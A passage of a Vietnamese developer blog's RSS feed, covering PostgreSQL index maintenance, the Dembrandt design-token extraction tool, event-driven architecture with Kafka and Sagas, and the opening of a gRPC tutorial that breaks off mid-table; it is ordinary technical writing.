&lt;/ul&gt;
&lt;h2&gt;Khi Nào Index Có Hại?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Bảng nhỏ (&amp;#x3C; 1000 rows) — sequential scan nhanh hơn&lt;/li&gt;
&lt;li&gt;Insert/Update nhiều — mỗi index làm chậm write&lt;/li&gt;
&lt;li&gt;Nhiều index thừa — &lt;code&gt;(a, b)&lt;/code&gt; + &lt;code&gt;(a)&lt;/code&gt; → &lt;code&gt;(a)&lt;/code&gt; là thừa&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- Tìm index trùng
SELECT schemaname, tablename, indexname, indexdef
FROM pg_indexes
WHERE tablename = &apos;users&apos;
ORDER BY indexname;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Index Maintenance&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- Xem kích thước index
SELECT
    indexname,
    pg_size_pretty(pg_relation_size(indexname::regclass)) AS size
FROM pg_indexes
WHERE tablename = &apos;users&apos;;

-- Rebuild index (khi bloat nhiều)
REINDEX INDEX idx_users_email;
REINDEX TABLE users;   -- Rebuild tất cả index trong table
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Checklist&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;[ ] Index trên cột trong WHERE, JOIN, ORDER BY&lt;/li&gt;
&lt;li&gt;[ ] Composite index với column cardinality cao ở đầu&lt;/li&gt;
&lt;li&gt;[ ] Partial index cho filtered queries&lt;/li&gt;
&lt;li&gt;[ ] Covering index cho frequent queries&lt;/li&gt;
&lt;li&gt;[ ] Loại bỏ index trùng&lt;/li&gt;
&lt;li&gt;[ ] REINDEX định kỳ cho bảng hay update&lt;/li&gt;
&lt;li&gt;[ ] EXPLAIN ANALYZE trước khi thêm index&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Index là công cụ mạnh — biết cách dùng là siêu năng lực. Luôn &lt;code&gt;EXPLAIN ANALYZE&lt;/code&gt; trước khi thêm index. Đo lường, thêm, đo lại. Một index đúng có thể tăng tốc query từ phút xuống mili giây.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.postgresql.org/docs/current/indexes.html&quot;&gt;PostgreSQL Index Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.postgresql.org/docs/current/btree-intro.html&quot;&gt;PostgreSQL — B-Tree Indexes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.postgresql.org/docs/current/gin-intro.html&quot;&gt;PostgreSQL — GIN Indexes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.postgresql.org/docs/current/gist-intro.html&quot;&gt;PostgreSQL — GiST Indexes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.postgresql.org/docs/current/indexes-partial.html&quot;&gt;PostgreSQL — Partial Indexes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.postgresql.org/docs/current/using-explain.html&quot;&gt;PostgreSQL — EXPLAIN Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Dembrandt — Tự Động Lấy Design System Từ Website</title><link>https://dopana-blog.pages.dev/blog/dembrandt-design-token</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/dembrandt-design-token</guid><description>Dembrandt phân tích website đang chạy, trích xuất design tokens — màu sắc, typography, spacing, component styles. Export JSON, DESIGN.md, MCP cho AI agent.</description><pubDate>Wed, 01 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Trong phát triển frontend, có vấn đề thường gặp: khách hàng không có file Figma, website cũ không có tài liệu màu sắc hay font, developer phải mở DevTools inspect từng component. Dembrandt tự động phân tích website đang chạy và tạo ra Design System dưới dạng tokens.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Input:  https://example.com
Output: colors, typography, spacing, components → JSON / DESIGN.md / DTCG
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Dembrandt Giải Quyết Vấn Đề Gì?&lt;/h2&gt;
&lt;p&gt;Thông thường khi clone hoặc maintain website, developer phải: mở DevTools → inspect HTML → tìm CSS → copy màu → kiểm tra font → đo khoảng cách → viết token. Mất vài giờ.&lt;/p&gt;
&lt;p&gt;Dembrandt tự động hoá: Browser automation → Computed CSS analysis → Design Tokens → JSON.&lt;/p&gt;
&lt;h2&gt;Lấy Được Những Gì?&lt;/h2&gt;
&lt;p&gt;Color tokens:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;primary&quot;: &quot;#0ea5e9&quot;,
  &quot;text&quot;: &quot;#111827&quot;,
  &quot;background&quot;: &quot;#ffffff&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bao gồm brand, button, text, gradient, CSS variables.&lt;/p&gt;
&lt;p&gt;Typography:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;heading&quot;: { &quot;size&quot;: &quot;48px&quot;, &quot;weight&quot;: 700 },
  &quot;body&quot;: { &quot;size&quot;: &quot;16px&quot;, &quot;weight&quot;: 400 }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Font family, size, weight, heading scale.&lt;/p&gt;
&lt;p&gt;Spacing system:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;spacing&quot;: [&quot;4px&quot;, &quot;8px&quot;, &quot;16px&quot;, &quot;32px&quot;, &quot;64px&quot;]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Component styles: Button radius, padding, hover — card, input, link, surface.&lt;/p&gt;
&lt;p&gt;Responsive breakpoints: &lt;code&gt;{ &quot;sm&quot;: &quot;640px&quot;, &quot;md&quot;: &quot;768px&quot;, &quot;lg&quot;: &quot;1024px&quot; }&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Cài Đặt&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm install -g dembrandt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hoặc dùng trực tiếp:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npx dembrandt example.com
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Sử Dụng&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Extract design tokens
dembrandt https://vercel.com

# Export JSON
dembrandt example.com --save-output

# Export DESIGN.md (for AI agents)
dembrandt example.com --design-md
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Output:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;✓ Colors extracted
#000000 #ffffff #0070f3
✓ Typography - Inter - 48px heading - 16px body
✓ Spacing - 4px 8px 16px 32px
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Dùng Với AI Agent&lt;/h2&gt;
&lt;p&gt;Hỗ trợ MCP — Claude Code, Cursor, Windsurf:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;claude mcp add --transport stdio dembrandt -- npx -y dembrandt-mcp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sau đó AI agent tự gọi Dembrandt: &quot;Extract design tokens from my website&quot;.&lt;/p&gt;
&lt;h2&gt;Workflow Thực Tế&lt;/h2&gt;
&lt;p&gt;Làm lại website khách hàng:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Website cũ → Dembrandt → design-system.json → Tailwind config → Website mới
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Kết hợp Tailwind CSS:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;export default {
  theme: { extend: { colors: { primary: &quot;#2563eb&quot; } } }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Migration: Bootstrap → Dembrandt → Extract tokens → Tailwind + React.&lt;/p&gt;
&lt;p&gt;Audit nội bộ: Kiểm tra màu, spacing, font có đồng nhất giữa các sản phẩm.&lt;/p&gt;
&lt;h2&gt;Design Token Là Gì?&lt;/h2&gt;
&lt;p&gt;Design token là lưu giá trị thiết kế thành biến dùng chung:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;:root { --color-primary: #2563eb; }
.button { background: var(--color-primary); }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Lợi ích: đổi màu toàn bộ app dễ dàng, đồng bộ designer/developer, tạo design system.&lt;/p&gt;
&lt;h2&gt;Dembrandt vs Figma&lt;/h2&gt;
&lt;p&gt;Figma: Design → Code. Dembrandt: Website thật → Design System. Hữu ích khi không có file Figma, website đã deploy, cần reverse engineer UI.&lt;/p&gt;
&lt;h2&gt;Hạn Chế&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Canvas/WebGL không phân tích được&lt;/li&gt;
&lt;li&gt;Dynamic content có thể thiếu&lt;/li&gt;
&lt;li&gt;Dark mode cần bật riêng&lt;/li&gt;
&lt;li&gt;Website nhiều JS cần chờ load&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Dembrandt biến website đang chạy thành Design System + Design Tokens + Documentation + AI Context. Thay vì inspect CSS hàng giờ, chỉ cần:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;dembrandt yourwebsite.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Phù hợp khi làm React, Next.js, Tailwind CSS, Design System, AI coding workflow.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/dembrandt/dembrandt&quot;&gt;Dembrandt GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.w3.org/community/design-tokens/&quot;&gt;Design Tokens W3C Community Group&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tr.designtokens.org/format/&quot;&gt;DTCG Design Tokens Format&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tailwindcss.com/docs/configuration&quot;&gt;Tailwind CSS Configuration&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://modelcontextprotocol.io&quot;&gt;MCP Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Event-Driven Architecture — Khi Request-Response Không Đủ</title><link>https://dopana-blog.pages.dev/blog/event-driven-architecture</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/event-driven-architecture</guid><description>Event-Driven Architecture giúp hệ thống phản ứng theo thời gian thực, loose coupling, scale ngang. So sánh patterns, message broker, use case.</description><pubDate>Wed, 01 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Hầu hết developer bắt đầu với request-response: client gửi request, server xử lý, trả response. Pattern này đơn giản và hiệu quả — nhưng có giới hạn. Khi hệ thống cần phản ứng với sự kiện theo thời gian thực, kết nối nhiều service mà không hard-code dependency, hoặc xử lý hàng triệu sự kiện đồng thời — Event-Driven Architecture (EDA) là câu trả lời.&lt;/p&gt;
&lt;h2&gt;EDA Là Gì?&lt;/h2&gt;
&lt;p&gt;Event-Driven Architecture là kiến trúc nơi các component giao tiếp với nhau thông qua events (sự kiện), không gọi trực tiếp.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Request-Response:          Event-Driven:
Service A → Service B      Service A → [Event Bus] → Service B
                            Service A → [Event Bus] → Service C
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Khi một việc xảy ra (order.created, user.registered, payment.failed), service phát ra event. Các service khác lắng nghe và phản ứng — mà không cần biết ai đang lắng nghe.&lt;/p&gt;
&lt;h2&gt;Ba Thành Phần Chính&lt;/h2&gt;
&lt;h3&gt;1. Event&lt;/h3&gt;
&lt;p&gt;Event là thông báo rằng một việc đã xảy ra. Dạng phổ biến: JSON với event type, timestamp, payload, metadata.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;eventType&quot;: &quot;order.created&quot;,
  &quot;timestamp&quot;: &quot;2026-07-01T10:00:00Z&quot;,
  &quot;id&quot;: &quot;evt_123&quot;,
  &quot;data&quot;: {
    &quot;orderId&quot;: &quot;ord_456&quot;,
    &quot;userId&quot;: &quot;usr_789&quot;,
    &quot;total&quot;: 299000,
    &quot;items&quot;: [&quot;prod_001&quot;, &quot;prod_002&quot;]
  },
  &quot;metadata&quot;: {
    &quot;version&quot;: 1,
    &quot;source&quot;: &quot;order-service&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. Event Producer&lt;/h3&gt;
&lt;p&gt;Service phát ra event khi có việc xảy ra. Producer không cần biết ai sẽ xử lý event đó.&lt;/p&gt;
&lt;h3&gt;3. Event Consumer&lt;/h3&gt;
&lt;p&gt;Service lắng nghe event và phản ứng. Consumer không cần biết ai phát ra event.&lt;/p&gt;
&lt;h2&gt;Ba Pattern Chính&lt;/h2&gt;
&lt;h3&gt;1. Event Notification&lt;/h3&gt;
&lt;p&gt;Pattern đơn giản nhất. Service A gửi event thông báo cho Service B.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;order-service ──→ order.created ──→ email-service (gửi email xác nhận)
                                  ──→ inventory-service (cập nhật tồn kho)
                                  ──→ analytics-service (ghi log)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Mỗi service xử lý độc lập. Nếu email-service chết, order không bị ảnh hưởng.&lt;/p&gt;
&lt;h3&gt;2. Event-Carried State Transfer&lt;/h3&gt;
&lt;p&gt;Event chứa đủ dữ liệu để consumer xử lý — không cần query lại producer.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;eventType&quot;: &quot;user.updated&quot;,
  &quot;data&quot;: {
    &quot;userId&quot;: &quot;usr_789&quot;,
    &quot;name&quot;: &quot;Nguyen Van A&quot;,
    &quot;email&quot;: &quot;a@example.com&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Consumer lưu vào local database, không cần gọi user-service mỗi lần. Đánh đổi: duplicate data, cần sync.&lt;/p&gt;
&lt;h3&gt;3. Event Sourcing&lt;/h3&gt;
&lt;p&gt;Không lưu trạng thái hiện tại — chỉ lưu chuỗi sự kiện.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[order.created] → [item.added] → [payment.received] → [order.shipped]
                                                    ↓
                                            Tính toán trạng thái từ events
                                            currentState = replay(events)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Lợi ích: audit trail đầy đủ, time travel, debug dễ. Nhược: complex, cần snapshot, learning curve cao.&lt;/p&gt;
&lt;h2&gt;Message Broker&lt;/h2&gt;
&lt;p&gt;Event bus trong EDA thường dùng message broker:&lt;/p&gt;
&lt;p&gt;| Broker | Ngôn ngữ | Use case chính |
|---|---|---|
| Kafka | Scala/Java | Event streaming, log, throughput siêu cao |
| RabbitMQ | Erlang | Message queue, routing linh hoạt |
| NATS | Go | Siêu nhẹ, cloud native, real-time |
| Redis Pub/Sub | C | Đơn giản, trong memory |
| AWS SQS/SNS | Managed | Không cần quản lý broker |&lt;/p&gt;
&lt;h3&gt;Kafka — Thống Trị Event Streaming&lt;/h3&gt;
&lt;p&gt;Kafka là lựa chọn phổ biến nhất cho EDA nhờ:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Throughput: Hàng triệu msg/s&lt;/li&gt;
&lt;li&gt;Persistent: Lưu trên disk, replay được&lt;/li&gt;
&lt;li&gt;Partitioning: Scale ngang&lt;/li&gt;
&lt;li&gt;Exactly-once semantics: Không mất message, không trùng&lt;/li&gt;
&lt;li&gt;Ecosystem: Kafka Connect, Kafka Streams, Schema Registry&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Kafka CLI
kafka-topics --create --topic orders --partitions 3 --replication-factor 2
kafka-console-producer --topic orders --value-serializer json
kafka-console-consumer --topic orders --from-beginning
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from kafka import KafkaProducer, KafkaConsumer

# Producer
producer = KafkaProducer(
    bootstrap_servers=&apos;localhost:9092&apos;,
    value_serializer=lambda v: json.dumps(v).encode()
)

producer.send(&apos;orders&apos;, {
    &apos;eventType&apos;: &apos;order.created&apos;,
    &apos;orderId&apos;: &apos;ord_456&apos;,
    &apos;userId&apos;: &apos;usr_789&apos;
})

# Consumer
consumer = KafkaConsumer(
    &apos;orders&apos;,
    bootstrap_servers=&apos;localhost:9092&apos;,
    group_id=&apos;email-service&apos;,
    value_deserializer=lambda v: json.loads(v.decode())
)

for msg in consumer:
    event = msg.value
    if event[&apos;eventType&apos;] == &apos;order.created&apos;:
        send_email(event[&apos;userId&apos;])
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Saga Pattern Trong Microservices&lt;/h2&gt;
&lt;p&gt;EDA giải quyết vấn đề distributed transaction trong microservices qua Saga — chuỗi các local transaction, mỗi bước phát event cho bước tiếp theo.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;order-service ──→ order.created
                      ↓
payment-service ──→ payment.received
                      ↓
inventory-service ──→ inventory.reserved
                      ↓
shipping-service ──→ order.shipped
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nếu một bước fail: phát event compensating để rollback các bước trước.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;payment.failed → inventory.reserve.cancelled → order.cancelled
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Không cần distributed transaction (XA, 2PC) — mỗi service tự quản lý transaction của mình.&lt;/p&gt;
&lt;h2&gt;EDA vs Request-Response&lt;/h2&gt;
&lt;p&gt;| Tiêu chí | Request-Response | Event-Driven |
|---|---|---|
| Coupling | Tight (biết địa chỉ service) | Loose (chỉ biết event type) |
| Scalability | Theo request | Theo throughput |
| Failure isolation | Một service chết ảnh hưởng chain | Event buffer, retry |
| Real-time | WebSocket polling | Native (kafka consumer) |
| Debug | Dễ (trace request) | Khó (event chain dài) |
| Complexity | Thấp | Cao |
| Consistency | Strong (transaction) | Eventual |&lt;/p&gt;
&lt;h2&gt;Anti-Patterns&lt;/h2&gt;
&lt;h3&gt;1. Schema không tương thích&lt;/h3&gt;
&lt;p&gt;Service A thêm field vào event → Service B crash.&lt;/p&gt;
&lt;p&gt;Giải pháp: Schema Registry (Avro, Protobuf), backward/forward compatibility.&lt;/p&gt;
&lt;h3&gt;2. Event quá nhỏ hoặc quá to&lt;/h3&gt;
&lt;p&gt;Quá nhỏ: hàng ngàn event cho một use case, network overhead.
Quá to: chậm, tốn băng thông.&lt;/p&gt;
&lt;p&gt;Giải pháp: thiết kế event size vừa phải, ưu tiên Event-Carried State Transfer.&lt;/p&gt;
&lt;h3&gt;3. Debug mù mịt&lt;/h3&gt;
&lt;p&gt;Event chạy qua 5 service, ai fail?&lt;/p&gt;
&lt;p&gt;Giải pháp: correlation ID xuyên suốt, tracing (OpenTelemetry), event log.&lt;/p&gt;
&lt;h2&gt;Khi Nào Dùng EDA?&lt;/h2&gt;
&lt;p&gt;Nên dùng:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Hệ thống microservices cần loose coupling&lt;/li&gt;
&lt;li&gt;Xử lý real-time (notification, feed, analytics)&lt;/li&gt;
&lt;li&gt;Workflow nhiều bước (order processing, onboarding)&lt;/li&gt;
&lt;li&gt;Cần scale ngang theo throughput&lt;/li&gt;
&lt;li&gt;Audit trail cho tất cả thay đổi&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Không nên dùng:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CRUD đơn giản (dùng REST)&lt;/li&gt;
&lt;li&gt;Cần strong consistency ngay lập tức&lt;/li&gt;
&lt;li&gt;Đội nhóm nhỏ, chưa đủ kinh nghiệm vận hành broker&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Event-Driven Architecture là bước tiến tự nhiên khi hệ thống lớn hơn và request-response không còn đáp ứng được. Nó cho phép loose coupling, scale ngang, real-time processing, và failure isolation — nhưng kèm độ phức tạp cao hơn.&lt;/p&gt;
&lt;p&gt;Bắt đầu với Kafka + một event nhỏ (order.created), dùng Saga cho distributed transaction, thêm Schema Registry khi event nhiều loại, và luôn gắn correlation ID để debug.&lt;/p&gt;
&lt;p&gt;Đừng EDA hoá toàn bộ hệ thống ngay từ đầu. Biến một request-response endpoint thành event-driven trước, đo lường, rồi mở rộng.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://kafka.apache.org/documentation/&quot;&gt;Apache Kafka Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.rabbitmq.com/documentation.html&quot;&gt;RabbitMQ Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.nats.io&quot;&gt;NATS Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://martinfowler.com/articles/201701-event-driven.html&quot;&gt;Martin Fowler — Event-Driven Architecture&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://microservices.io/patterns/data/saga.html&quot;&gt;Saga Pattern in Microservices&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>gRPC — REST Và GraphQL Chưa Đủ Cho Microservices</title><link>https://dopana-blog.pages.dev/blog/grpc-deep-dive</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/grpc-deep-dive</guid><description>gRPC là giao thức API tốc độ cao dùng Protobuf và HTTP/2. So sánh với REST, GraphQL, code demo, và khi nào nên dùng.</description><pubDate>Wed, 01 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;REST thống trị API trong một thập kỷ. GraphQL đến và giải quyết over-fetching. Nhưng cả hai đều sinh ra với JSON và HTTP/1.1 — công nghệ của 20 năm trước. Khi bạn cần giao tiếp giữa các microservices với tốc độ cao, low latency, streaming — gRPC là lựa chọn tối ưu.&lt;/p&gt;
&lt;h2&gt;gRPC Là Gì?&lt;/h2&gt;
&lt;p&gt;gRPC là framework RPC (Remote Procedure Call) mã nguồn mở của Google. Thay vì gọi HTTP endpoint và nhận JSON, bạn gọi function như local — dữ liệu được serialize bằng Protocol Buffers và truyền qua HTTP/2.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-protobuf&quot;&gt;// Định nghĩa service trong .proto file
service UserService {
  rpc GetUser (GetUserRequest) returns (User);
  rpc ListUsers (ListUsersRequest) returns (stream User);
}

message GetUserRequest {
  string id = 1;
}

message User {
  string id = 1;
  string name = 2;
  string email = 3;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sau đó code gen ra client/server code tự động:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// Server
func (s *server) GetUser(ctx context.Context, req *pb.GetUserRequest) (*pb.User, error) {
    user, err := s.db.FindUser(req.Id)
    if err != nil {
        return nil, err
    }
    return &amp;#x26;pb.User{Id: user.ID, Name: user.Name, Email: user.Email}, nil
}

// Client — gọi như function local
user, err := client.GetUser(ctx, &amp;#x26;pb.GetUserRequest{Id: &quot;123&quot;})
fmt.Println(user.Name)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Protocol Buffers&lt;/h2&gt;
&lt;p&gt;Thay vì JSON (text, ~200-500 bytes cho object nhỏ), Protobuf là binary format:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Nhỏ hơn: 10x nhỏ hơn JSON&lt;/li&gt;
&lt;li&gt;Nhanh hơn: Encode/decode nhanh hơn JSON ~10-100x&lt;/li&gt;
&lt;li&gt;Typed: Schema bắt buộc, code gen tự động&lt;/li&gt;
&lt;li&gt;Backward compatible: Thêm field mới không break client cũ&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-protobuf&quot;&gt;syntax = &quot;proto3&quot;;

message Product {
  string id = 1;
  string name = 2;
  double price = 3;
  repeated string tags = 4;  // Array
  bool available = 5;
  oneof source {              // Union
    string internal_id = 6;
    string external_url = 7;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;HTTP/2 Lợi Thế&lt;/h2&gt;
&lt;p&gt;gRPC dùng HTTP/2 (không phải HTTP/1.1 như REST truyền thống):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Multiplexing: Nhiều request song song trên một connection — không cần connection pool&lt;/li&gt;
&lt;li&gt;Header compression: HPACK — header chỉ vài bytes sau lần đầu&lt;/li&gt;
&lt;li&gt;Server push: Server gửi dữ liệu trước khi client request&lt;/li&gt;
&lt;li&gt;Streaming: Một connection có thể gửi/nhận nhiều message liên tục&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Bốn Kiểu API&lt;/h2&gt;
&lt;h3&gt;Unary RPC (giống REST)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-protobuf&quot;&gt;rpc GetUser(GetUserRequest) returns (User);
// Request → Response
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Server Streaming&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-protobuf&quot;&gt;rpc ListUsers(ListUsersRequest) returns (stream User);
// Request → nhiều Response (real-time feed)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Client Streaming&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-protobuf&quot;&gt;rpc UploadFile(stream FileChunk) returns (UploadResponse);
// Nhiều Request → một Response
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Bidirectional Streaming&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-protobuf&quot;&gt;rpc Chat(stream ChatMessage) returns (stream ChatMessage);
// Nhiều Request ↔ nhiều Response (WebSocket-like)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bidirectional streaming là killer feature — chat, real-time data, gaming đều dùng pattern này.&lt;/p&gt;
&lt;h2&gt;Code Demo: User Service&lt;/h2&gt;
&lt;h3&gt;Proto&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-protobuf&quot;&gt;syntax = &quot;proto3&quot;;
package user;

service UserService {
  rpc GetUser (GetUserRequest) returns (User);
  rpc SearchUsers (SearchRequest) returns (stream User);
}

message GetUserRequest { string id = 1; }
message SearchRequest { string query = 1; }

message User {
  string id = 1;
  string name = 2;
  string email = 3;
  int32 age = 4;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Generate Code&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;protoc --go_out=. --go-grpc_out=. user.proto
# Sinh ra user.pb.go và user_grpc.pb.go
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Server (Go)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;type server struct {
    pb.UnimplementedUserServiceServer
    db map[string]*pb.User
}

func (s *server) GetUser(ctx context.Context, req *pb.GetUserRequest) (*pb.User, error) {
    user, ok := s.db[req.Id]
    if !ok {
        return nil, status.Errorf(codes.NotFound, &quot;user not found&quot;)
    }
    return user, nil
}

func (s *server) SearchUsers(req *pb.SearchRequest, stream pb.UserService_SearchUsersServer) error {
    for _, user := range s.db {
        if strings.Contains(user.Name, req.Query) {
            if err := stream.Send(user); err != nil {
                return err
            }
        }
    }
    return nil
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Client (Go)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;conn, _ := grpc.Dial(&quot;localhost:50051&quot;, grpc.WithTransportCredentials(insecure))
defer conn.Close()

client := pb.NewUserServiceClient(conn)

// Unary call
user, err := client.GetUser(ctx, &amp;#x26;pb.GetUserRequest{Id: &quot;123&quot;})

// Streaming call
stream, _ := client.SearchUsers(ctx, &amp;#x26;pb.SearchRequest{Query: &quot;Alice&quot;})
for {
    user, err := stream.Recv()
    if err == io.EOF { break }
    fmt.Println(user.Name)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Client (Node.js)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;const client = new proto.UserService(&apos;localhost:50051&apos;, grpc.credentials.createInsecure())

// Unary
client.getUser({ id: &apos;123&apos; }, (err, user) =&gt; {
  console.log(user.name)
})

// Streaming
const call = client.searchUsers({ query: &apos;Alice&apos; })
call.on(&apos;data&apos;, user =&gt; console.log(user.name))
call.on(&apos;end&apos;, () =&gt; console.log(&apos;done&apos;))
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;So Sánh API Trilogy&lt;/h2&gt;
&lt;p&gt;| Tiêu chí | REST | GraphQL | gRPC |
|---|---|---|---|
| Format | JSON (text) | JSON (text) | Protobuf (binary) |
| Giao thức | HTTP/1.1 | HTTP/1.1 hoặc 2 | HTTP/2 |
